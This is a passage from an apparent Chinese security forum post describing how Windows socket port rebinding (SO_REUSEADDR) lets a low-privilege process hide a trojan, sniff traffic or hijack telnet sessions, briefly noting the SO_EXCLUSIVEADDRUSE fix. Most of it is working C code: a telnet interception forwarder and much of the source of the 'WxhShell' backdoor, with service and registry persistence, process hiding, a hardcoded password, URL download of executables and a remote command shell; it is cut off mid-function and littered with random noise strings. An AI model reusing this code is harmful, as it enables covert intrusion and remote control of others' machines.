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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1p=&WM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5Hy3\_ +  
-t>Z 9  
  saddr.sin_family = AF_INET; l $w/Fz  
kp; &cQu!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s7M}NA 0  
N(BiOLZL6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,-:a?#f>  
Um'Ro4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :iEAUM  
]|y}\7Aa  
  这意味着什么?意味着可以进行如下的攻击: <S{7Ro  
Ge1duRGa  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7vq DZg  
+ Y;8~+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1b+h>.gWar  
F-tFet  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dFMAh&:>  
Y2D >tpqNw  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  22'vm~2E  
GVZTDrC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h[,XemwX  
}{t3SGsJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aPt{C3<  
SlN"(nq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2$Wo&Q^_  
)WclV~  
  #include w -M7opkq  
  #include d^y86pq.  
  #include D=JlA~tS>  
  #include    FXxN>\76.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }EP|Mb  
  int main() jVs(x  
  { c~37 +^B:  
  WORD wVersionRequested; ]6q*)q:`  
  DWORD ret; d96fjj~  
  WSADATA wsaData; p_;r%o=  
  BOOL val; xlk5Gob*  
  SOCKADDR_IN saddr; :S#i9# aB  
  SOCKADDR_IN scaddr; -FaaFw:Z;A  
  int err; r\B"?oqC  
  SOCKET s; qNy-o\;XN  
  SOCKET sc; N|o> %)R  
  int caddsize; X= SG  
  HANDLE mt; 1j+eD:d'  
  DWORD tid;   A^t"MYX@  
  wVersionRequested = MAKEWORD( 2, 2 ); PH[4y:^DN  
  err = WSAStartup( wVersionRequested, &wsaData ); kM,@[V  
  if ( err != 0 ) { {x|MA(NO  
  printf("error!WSAStartup failed!\n"); C!hXEtK  
  return -1; !@A|L#*  
  } !*9FKDB{  
  saddr.sin_family = AF_INET; ;tm3B2  
   pA*i!.E/b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |K6nOX!i  
["<5?!bU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A_aO }oBX  
  saddr.sin_port = htons(23); 4I z.fAw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y _6r/z^  
  { s *K:IgJ/  
  printf("error!socket failed!\n"); \Ec X!aC  
  return -1; 5%'o%`?i  
  } Zi ma^IL  
  val = TRUE; $vz_%Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w8O hJv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U n]DFu  
  { % /~os2R  
  printf("error!setsockopt failed!\n"); 58 kv#;j  
  return -1; 3Sk5I%  
  } DZ,<Jmg&e*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wE)] ah:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 HhzkMJR8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u4@, *tT  
Ct-rD79l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .vN)A *  
  { !'+\]eA  
  ret=GetLastError(); X #&(~1O  
  printf("error!bind failed!\n"); ZBPd(;"x+  
  return -1;  |h  
  } }#1U D  
  listen(s,2); 0kkRK*fp}x  
  while(1) 4 fZY8  
  { "0!~g/X`rK  
  caddsize = sizeof(scaddr); 8.:B=A  
  //接受连接请求 HI}pX{.\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4F}g(  
  if(sc!=INVALID_SOCKET) *xEI Zx  
  { ~JIywzcf8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -7&^jP\,  
  if(mt==NULL) @?'t@P:4  
  { &19l k   
  printf("Thread Creat Failed!\n"); 1'(_>S5CG  
  break; l~`txe  
  } (xI)"{   
  } Pn~pej5'K  
  CloseHandle(mt); ,R7=]~<io"  
  } .CIbpV?T  
  closesocket(s); aS c#&{  
  WSACleanup(); !#}v:~[A  
  return 0; )6O\WB|  
  }   md1EJ1\14  
  DWORD WINAPI ClientThread(LPVOID lpParam) |#Yu.c*  
  { )->-~E}p9  
  SOCKET ss = (SOCKET)lpParam; O|A~dj `  
  SOCKET sc; 0IoXDx  
  unsigned char buf[4096]; 2+c>O%L  
  SOCKADDR_IN saddr; *+_fP|cv  
  long num; MAm1w'ol"  
  DWORD val; fvAh?<Ul  
  DWORD ret; 4d{"S02h  
  //如果是隐藏端口应用的话,可以在此处加一些判断 , mAB)at  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {hW +^  
  saddr.sin_family = AF_INET; #u}v7{4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YR^Ee8_H  
  saddr.sin_port = htons(23); BN<#x@m$]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MEdIw#P.}{  
  { | TQedC  
  printf("error!socket failed!\n"); 23B^g  
  return -1; .N2nJ/   
  } T U"K#V&u  
  val = 100; $71D)*{P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qaCi)f!Dl  
  { F^%{ ;  
  ret = GetLastError(); }J'5EAp  
  return -1; #z-iL!?  
  } e)ZyTuj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AAlmG9l&7  
  { &vJ(P!2f<  
  ret = GetLastError(); c Eh0Vh-]  
  return -1; _{2Fx[m%  
  } e4>L@7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4 _c:Vl  
  { tF;& x g  
  printf("error!socket connect failed!\n"); 5'{qEZs^QU  
  closesocket(sc); ~vjr;a(B  
  closesocket(ss); s)o ,Fi  
  return -1; 8;+Hou  
  } WIH4Aw  
  while(1) ^w&5@3d  
  { ..Uw8u/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M'>D[5;N~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lD;,I^Lt6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Up!ZCZ$RC  
  num = recv(ss,buf,4096,0); XEgx#F ;F  
  if(num>0) alb+R$s  
  send(sc,buf,num,0); J^F(]  
  else if(num==0) 98b9%Z'2f  
  break; yuy+}]uB@  
  num = recv(sc,buf,4096,0); E |GK3/  
  if(num>0) I 1VEm?CQ  
  send(ss,buf,num,0); CwEWW\Bu  
  else if(num==0) \/x)BE,  
  break; ~H yyq-  
  } :y O,  
  closesocket(ss); m|e*Jc  
  closesocket(sc); 0,L$x*Nj5  
  return 0 ; ai;gca_P#  
  } ~\@<8@N2a6  
1 ">d|oC  
kb}]sj  
========================================================== ffoo^1}1  
faL^=CAe  
下边附上一个代码,,WXhSHELL wTMHoU*>  
H>X>5_{}  
========================================================== 3qxG?G N  
@cTZ`bg  
#include "stdafx.h" beHCEwh  
|>/&EElD  
#include <stdio.h> {,-5k.P[  
#include <string.h> [nPzh Xs  
#include <windows.h> jO3u]5}.6  
#include <winsock2.h> $v bAcWj  
#include <winsvc.h> G}?P r4Gj  
#include <urlmon.h> J!K/7u S  
{,  *Y  
#pragma comment (lib, "Ws2_32.lib") "TH-A6v1  
#pragma comment (lib, "urlmon.lib") Eztz ~oFo  
kO`3ENN  
#define MAX_USER   100 // 最大客户端连接数 8yo6v3JqC  
#define BUF_SOCK   200 // sock buffer o YI=p3l  
#define KEY_BUFF   255 // 输入 buffer WJh;p: q[  
#NQz&4W  
#define REBOOT     0   // 重启 fF-\TW  
#define SHUTDOWN   1   // 关机 }$k`[ivBx(  
vL=--#  
#define DEF_PORT   5000 // 监听端口 luz%FY:  
|`t!aG8  
#define REG_LEN     16   // 注册表键长度 k\thEEVP0*  
#define SVC_LEN     80   // NT服务名长度 [sY1|eX   
<QoE_z`76  
// 从dll定义API ; R|#ae@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :mtw}H 'F8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]gZ8b- 2O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g /@yK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (#l_YI -  
d_7Xlp@  
// wxhshell配置信息 UE#Ni 5  
struct WSCFG { U#]eN[  
  int ws_port;         // 监听端口 )!*M 71  
  char ws_passstr[REG_LEN]; // 口令 $}nUK~$GSv  
  int ws_autoins;       // 安装标记, 1=yes 0=no <pl2 dxy  
  char ws_regname[REG_LEN]; // 注册表键名 d|?(c~  
  char ws_svcname[REG_LEN]; // 服务名 0|>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k| cI!   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 llG#nDe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #m$%S%s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v0MOX>`s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [dF=1E>W_J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }:D~yEP  
I~ ]mX;  
}; rn5g+%jX*  
AW;) _|xM  
// default Wxhshell configuration 0V,MDX}#_  
struct WSCFG wscfg={DEF_PORT, 6.7 Kp  
    "xuhuanlingzhe", (*WZsfk>/<  
    1, )?IA`7X  
    "Wxhshell", GV@E<dg$R  
    "Wxhshell", 42LXL*-4  
            "WxhShell Service", g!Yh=kA'N  
    "Wrsky Windows CmdShell Service", C<@1H>S4_  
    "Please Input Your Password: ", x)wt.T?eL  
  1, |QTqa~~B  
  "http://www.wrsky.com/wxhshell.exe", tKsM}+fq  
  "Wxhshell.exe" -Fc#  
    }; wJR i;fvi  
n@,eZ!  
// 消息定义模块 9}0Jc(B/x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4NR5?s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UpseU8Wo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C(*@-N pf[  
char *msg_ws_ext="\n\rExit."; WCl;#=  
char *msg_ws_end="\n\rQuit."; O8N0]Mz  
char *msg_ws_boot="\n\rReboot..."; u2O^3r G-  
char *msg_ws_poff="\n\rShutdown..."; kCjI`=7$[  
char *msg_ws_down="\n\rSave to "; UVmyOC[Y{  
.:!x*v  
char *msg_ws_err="\n\rErr!"; %c/"A8{eb  
char *msg_ws_ok="\n\rOK!"; 4x?u5L 9o  
54cgX)E[x  
char ExeFile[MAX_PATH]; d4h(F,K7V  
int nUser = 0; &`Z)5Ww  
HANDLE handles[MAX_USER]; fvMhq:Bu  
int OsIsNt; SA n=9MG  
vk+%#w  
SERVICE_STATUS       serviceStatus; #I~dv{RX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s^R2jueR  
Q R$sIu@%  
// 函数声明 x2c*k$<p  
int Install(void); pz}hh^]t  
int Uninstall(void); 9QZwUQ  
int DownloadFile(char *sURL, SOCKET wsh); (Ha}xwA~(  
int Boot(int flag); WzbN=& C]h  
void HideProc(void); o? "@9O?  
int GetOsVer(void); l"y9XO|  
int Wxhshell(SOCKET wsl); j =%-b]  
void TalkWithClient(void *cs); \1'R}B@;  
int CmdShell(SOCKET sock); QjN3j*@  
int StartFromService(void); < ^!eaBR4  
int StartWxhshell(LPSTR lpCmdLine); Ki;5 =)  
\#7%%>p=O'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -+@~*$ d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MJpTr5Vs  
']e4 !  
// 数据结构和表定义 ^F9zS `Yz2  
SERVICE_TABLE_ENTRY DispatchTable[] = f|1FqL+T]  
{ qA/ 3uA!z  
{wscfg.ws_svcname, NTServiceMain}, i j;'4GzQL  
{NULL, NULL} p&doQh  
}; sc>)X{eb  
luog_;{h+  
// 自我安装 K :ptfD  
int Install(void) q[A3$y(  
{ >(KUYX?p  
  char svExeFile[MAX_PATH]; ,?~,"IQyi[  
  HKEY key; lS*.?4zX  
  strcpy(svExeFile,ExeFile); 5g7}A`  
8@ g D03  
// 如果是win9x系统,修改注册表设为自启动 LOkDx2@g  
if(!OsIsNt) { =H?5fT^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v~QZO4[ '  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ap18qp  
  RegCloseKey(key); Q[tz)99~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0Hf-~6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 90D.G_45  
  RegCloseKey(key); gipRVd*TA  
  return 0; m]pvJJ@  
    } A1T;9`E  
  } *9^k^h(r&4  
} [T|1Qq7  
else { vB4qJ{f  
%'5wwl  
// 如果是NT以上系统,安装为系统服务 1nG"\I5N}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'Q,<_ L"  
if (schSCManager!=0) .gg0:  
{ KJZY.7  
  SC_HANDLE schService = CreateService -8e tH&  
  ( ^@eCT}p{  
  schSCManager, )A;<'{t #L  
  wscfg.ws_svcname, PmTd+Gj$  
  wscfg.ws_svcdisp, ]xs\,}I%  
  SERVICE_ALL_ACCESS, `?m(Z6'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :7*\|2zA  
  SERVICE_AUTO_START, +O6@)?pI  
  SERVICE_ERROR_NORMAL, $yJfAR  
  svExeFile, :D-vE7  
  NULL, vUA`V\  
  NULL, 0C_Qp%Z  
  NULL, t F( mD=[  
  NULL, Id1[}B-T  
  NULL #}?$mxME*  
  ); L1K_|X  
  if (schService!=0) =z.AQe+   
  { "5bk82."  
  CloseServiceHandle(schService); 9a unv   
  CloseServiceHandle(schSCManager); _95tgJy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #{sb>^BF  
  strcat(svExeFile,wscfg.ws_svcname); gUQCKNw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vkLG<Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); af{K4:I  
  RegCloseKey(key); "zc!QHpSd  
  return 0; E u   
    } zvWQ&?&o2  
  } 1??RX}8[L+  
  CloseServiceHandle(schSCManager); hBw~l?G  
} iV=#'yY  
} uOx$@1v,  
f5v|}gMAX  
return 1; %iNDRLR%I  
} ~@bKQ>Xw  
8*ysuL#  
// 自我卸载 R_ }(p2  
int Uninstall(void) BHYEd}M  
{ /uVB[Tk^  
  HKEY key; .^,vK7  
zb(u?U  
if(!OsIsNt) { vPi+8)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t30V_`eQ  
  RegDeleteValue(key,wscfg.ws_regname);  %JZIg!  
  RegCloseKey(key); V !$m{)Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y;H 3g#  
  RegDeleteValue(key,wscfg.ws_regname); ,MJZ*"V/3  
  RegCloseKey(key); DzEixE-  
  return 0; !p2&$s"N.  
  } LO229`ARr|  
} +}n]A^&I\E  
} 6Jm4?ex  
else { ,LvJ'N  
Vz^:| qON  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]!QeJ'BLM  
if (schSCManager!=0) i || /=ai  
{ .B@;ch,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k&2I(2S  
  if (schService!=0) sf LBi~*j  
  { s`{O-  
  if(DeleteService(schService)!=0) { UkUdpZ.[il  
  CloseServiceHandle(schService); .Qaqkb-Ty  
  CloseServiceHandle(schSCManager); -4;u|0_  
  return 0; *\>7@r[%5  
  } & 3gni4@@  
  CloseServiceHandle(schService); 1/z1~:Il  
  } D 6(w}W  
  CloseServiceHandle(schSCManager); E5rNC/Ul$$  
} '=r.rW5  
} SWu=n1J.?H  
h1"#DnK7  
return 1; 3k=q>~& @  
} s=q}XIWK  
_Nd\Cm  
// 从指定url下载文件 czj[U|eB}=  
int DownloadFile(char *sURL, SOCKET wsh) Z7(hW,60  
{ _K8-O>I "  
  HRESULT hr; IL<5Suz:  
char seps[]= "/"; umi#Se3&  
char *token; OIN]u{S  
char *file; ,}NG@JID  
char myURL[MAX_PATH]; 6D$xG"c  
char myFILE[MAX_PATH]; te1lUQ  
I(2ID +  
strcpy(myURL,sURL); 5K8\hoW{  
  token=strtok(myURL,seps); JL <}9K  
  while(token!=NULL) 1$c*/Tc:E  
  { <#c2Hg%jh  
    file=token; U-k6ZV3&8  
  token=strtok(NULL,seps); f6DPah#  
  } Q (`IiV   
]^s4NXf+  
GetCurrentDirectory(MAX_PATH,myFILE); k|w6&k3  
strcat(myFILE, "\\"); <Wl! Qog'  
strcat(myFILE, file); I qma vnM#  
  send(wsh,myFILE,strlen(myFILE),0);  p.zU9rID  
send(wsh,"...",3,0); %bddR;c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &4 ]%&mX)-  
  if(hr==S_OK) p t<84CP  
return 0; .[~E}O  
else sO6+L #!  
return 1; Z";o{@p  
n] &fod  
} 8,%y`tUn>u  
\&SP7~-eq  
// 系统电源模块 J9{B  
int Boot(int flag) 3?2;z+cz*u  
{ !]W6i]p  
  HANDLE hToken; :V`q;g  
  TOKEN_PRIVILEGES tkp; bvAO(`  
P4s:wuJ^  
  if(OsIsNt) { 4/HyO\?z5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -O oXb( I4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n}a# b%e  
    tkp.PrivilegeCount = 1; lQoa[#q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P[^!Uq[0n7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R9{6$djq\:  
if(flag==REBOOT) { jo+T!CUM'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^M8\ 3G  
  return 0; ,)%nLc  
} w!%Bc]  
else { ,OG sx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Yr"G)i~"Y  
  return 0; <` HLG2  
} >a Q; 8  
  } /SSl$  
  else {  _8t{4C  
if(flag==REBOOT) { H!HkXm"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3xbA]u;gp  
  return 0; ZCV&v47\p_  
} i yMIP~N,$  
else { pM.>u/=X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KK/~W  
  return 0; pvkru-i]  
} vA"yy"B+ V  
} ,253'53W)  
"rBo?%:  
return 1; E2 #XXc  
} d8e6}C2v  
[Nsv]Yz  
// win9x进程隐藏模块 L~CwL  
void HideProc(void) Tj@s\@hv  
{ XoL9:s(m~  
l. !5/\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (hs[B4nV  
  if ( hKernel != NULL ) ' !ZFK}  
  { 89?AcZ.D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $D<LND=o=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6xvyhg#B  
    FreeLibrary(hKernel); z'XFwk  
  } >@` D@_v  
9!}&&]Q`  
return; 7P|GKN~  
} ="JLUq*]s  
BbnY9"  
// 获取操作系统版本 s^)wh v`C  
int GetOsVer(void) 2y`rS _2  
{ d*4fl.  
  OSVERSIONINFO winfo; mtvfG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t9;yyZh  
  GetVersionEx(&winfo); #0zMPh /U}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E0o=  
  return 1; "at*G>+  
  else ag+$qU  
  return 0; +W x/zo  
} !:'%'@uc  
\,+act"v  
// 客户端句柄模块 0V }knR.l  
int Wxhshell(SOCKET wsl) NffZttN  
{ 2zZ" }Zr#  
  SOCKET wsh; QI0d:7!W1  
  struct sockaddr_in client; * _)xlpy  
  DWORD myID; %ZDo;l+<F6  
cNZuwS~,  
  while(nUser<MAX_USER) 0B7cpw>_J  
{ sL[&y'+  
  int nSize=sizeof(client); xPl+ rsU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ""|vhgP  
  if(wsh==INVALID_SOCKET) return 1; _l<e>zj  
c!{v/zOz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -|"W|K?nq  
if(handles[nUser]==0) -Jr6aai3+  
  closesocket(wsh); +l+8Z:i<  
else 2m7Z:b  
  nUser++; 6nRXRO  
  } 8q58H[/c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); By%mJ%$~  
;5urIYd  
  return 0; Lf`LFPKb  
} I<PKwT/?  
 } Wx#"6  
// 关闭 socket tXDO@YH3S  
void CloseIt(SOCKET wsh) f?}~$agc  
{ 8FYcUvxfT  
closesocket(wsh); vN'Y);$  
nUser--; 0n` 1GU)W  
ExitThread(0); (\S/  
} !*JE%t  
G9"2h \  
// 客户端请求句柄 _?$P?  
void TalkWithClient(void *cs) >*rH Nf  
{ A14}  
%P05k  
  SOCKET wsh=(SOCKET)cs; = zJY5@^'7  
  char pwd[SVC_LEN]; $Pv;>fHu  
  char cmd[KEY_BUFF]; DG1C_hu i  
char chr[1]; vl+vzAd  
int i,j; C QO gR GW  
#Q320}]{  
  while (nUser < MAX_USER) { gwHNz5 a*V  
=gL~E9\  
if(wscfg.ws_passstr) { ,-,BtfE3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aM/sD=}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '!Gnr[aR  
  //ZeroMemory(pwd,KEY_BUFF); ,I# X[^/  
      i=0; E{_$C!.  
  while(i<SVC_LEN) { Pt<lHfd  
Ck<g0o6  
  // 设置超时 @w:6m&KL9  
  fd_set FdRead; E5@U~|V[  
  struct timeval TimeOut; bj)dYj f  
  FD_ZERO(&FdRead); TXx%\V_6  
  FD_SET(wsh,&FdRead); N#<h/  
  TimeOut.tv_sec=8; _c| aRRW  
  TimeOut.tv_usec=0; ;;4xpg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'Y`.0T[&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /Hxz@=LC1  
p%Zx<=f-_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )<W6cDx'H+  
  pwd=chr[0]; @#sBom+K`  
  if(chr[0]==0xd || chr[0]==0xa) { @mM])V  
  pwd=0; zQsu~8PX  
  break; V *2 =S  
  } CH h]v.V  
  i++; OG}auM4  
    } i^hgs`hvU  
\g|u|Y.2[  
  // 如果是非法用户,关闭 socket &j2fh!\4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^'"sFEV7RN  
} !L5[s  
 &gIDcZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )dFTH?Mpo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _Se~bkw?v  
6wV{}K^0  
while(1) { ~c8Z9[QW  
E2f9J{ Ki=  
  ZeroMemory(cmd,KEY_BUFF); ba_T:;';0  
5~WMb6/  
      // 自动支持客户端 telnet标准   Mk-C&#'  
  j=0; oe1Dm   
  while(j<KEY_BUFF) { i,G )kt'H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {eR,a-D!7  
  cmd[j]=chr[0];  %trtP  
  if(chr[0]==0xa || chr[0]==0xd) { 0>jo+b\D$  
  cmd[j]=0; G[V?# 7.  
  break; Oh9jr"Gm=  
  } ?cQ  
  j++; XO |U4 #ya  
    } ti`R  
J?Kgev%  
  // 下载文件 ;D5B$ @W>  
  if(strstr(cmd,"http://")) { ii%n:0+zm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mtEE,O!+  
  if(DownloadFile(cmd,wsh)) a8fLj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A]nDI:pO|  
  else GvQ|+vC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )9@I7QG?  
  } w}Q|*!?_  
  else { G6X  
wzAp`Zs2Dm  
    switch(cmd[0]) { ^0t81,`  
  A/NwM1z[o)  
  // 帮助 -Kt36:|  
  case '?': { 64s9Dy@%F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q$iGpTL  
    break; }-{l(8-  
  } KZV$rJ%G  
  // 安装 7`3he8@ze  
  case 'i': { ~Ra1Zc$o:  
    if(Install()) _\ n'uW$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %^RlE@l9  
    else Rk fr4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [|~X~AO%  
    break; ;2RCgX!'%  
    } jr" ~  
  // 卸载 LV=!nF0  
  case 'r': { 2vKnxK+ 5  
    if(Uninstall()) D@H'8C\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )_EQU8D4ug  
    else #m9V) 1"wB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (CY VSO  
    break; =Fea vyx  
    } ja2LQe@ Q  
  // 显示 wxhshell 所在路径 S5RS?ya  
  case 'p': { &K k+RHM  
    char svExeFile[MAX_PATH]; hBLg;"=Em  
    strcpy(svExeFile,"\n\r"); kYs2AzS{d  
      strcat(svExeFile,ExeFile); J8a4.prqI  
        send(wsh,svExeFile,strlen(svExeFile),0); a(Z" }m  
    break; 4BuS? #_  
    } ,=>O/!s  
  // 重启 A"eT @  
  case 'b': { @6.1EK0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]8YHA}P  
    if(Boot(REBOOT)) D4[5}NYU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'ESy>wA{y<  
    else { sr#, S(p  
    closesocket(wsh); pM[UC{  
    ExitThread(0); O\OG~`HBN  
    } .(;k]U P  
    break;  [.z1  
    } oG@P M+{  
  // 关机 V6wYJ$]  
  case 'd': { vWfC!k-)b  
